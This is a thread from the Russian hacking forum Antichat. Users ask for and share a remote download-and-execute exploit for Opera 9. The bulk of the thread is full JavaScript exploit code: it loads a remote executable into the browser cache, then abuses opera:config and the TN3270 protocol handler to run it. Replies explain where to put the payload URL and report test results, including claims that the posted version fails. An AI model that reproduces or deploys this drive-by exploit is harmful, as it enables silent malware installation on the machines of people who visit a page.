Форум АНТИЧАТ - Эксплойты для Opera

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Защита ОС: вирусы, антивирусы, файрволы. (https://forum.antichat.xyz/forumdisplay.php?f=80)

- - Эксплойты для Opera (https://forum.antichat.xyz/showthread.php?t=57602)

Эксплойты для Opera

Прошлую тему удалили модеры (не в том разделе видимо создал)
Тут его уже выкладывали, но видимо старую тему с ним уже дельнули, ищу еще раз експлоит для оперы 9 версии (remote download & execution)

http://milw0rm.com/exploits/3871
http://milw0rm.com/exploits/3784
http://milw0rm.com/exploits/3101

Спасибо, но к сожалению не то... Насколько помню выкладывали remote dwnld & execution...

Этот?

Код:

<script>

blank_iframe = document.createElement('iframe');

blank_iframe.src = 'about:blank';

blank_iframe.setAttribute('id', 'blank_iframe_window');

blank_iframe.setAttribute('style', 'display:none');

document.appendChild(blank_iframe);

blank_iframe_window.eval

        ("config_iframe = document.createElement('iframe');\

        config_iframe.setAttribute('id', 'config_iframe_window');\

        config_iframe.src = 'opera:config';\

        document.appendChild(config_iframe);\

        app_iframe = document.createElement('script');\

        cache_iframe = document.createElement('iframe');\

        app_iframe.src = 'http://path/to/exe';\

        app_iframe.onload = function ()\

        {\

                cache_iframe.src = 'opera:cache';\

                cache_iframe.onload = function ()\

                {\

                        cache = cache_iframe.contentDocument.childNodes[0].innerHTML.toUpperCase();\

                        var re = new RegExp('(OPR\\\\w{5}.EXE)</TD>\\\\s*<TD>\\\\d+</TD>\\\\s*<TD><A HREF=\"'+app_iframe.src.toUpperCase(), '');\

                        filename = cache.match(re);\

                        config_iframe_window.eval\

                        (\"\

                        opera.setPreference('Network','TN3270 App',opera.getPreference('User Prefs','Cache Directory4')+parent.filename[1]);\

                        app_link = document.createElement('a');\

                        app_link.setAttribute('href', 'tn3270://nothing');\

                        app_link.click();\

                        setTimeout(function () {opera.setPreference('Network','TN3270 App','telnet.exe')},1000);\

                        \");\

                };\

                document.appendChild(cache_iframe);\

        };\

        document.appendChild(app_iframe);");

</script>

razzzar
это для 9й оперы? если да, то большое спс

хай. А как юзать этот эксплоит? можно пример?

Вот здесь видимо прописать путь к exe файлу:

Код:

app_iframe.src = 'http://path/to/exe';\

Не проверял, девятой оперы нема ((
DrWeb запалил сплоит )))

залил на удаленный хост калькулятор, скачался. правда не запустился. проверял на опере 9.20

сплойт не рабочий его нужно переписать. рабочий в привате.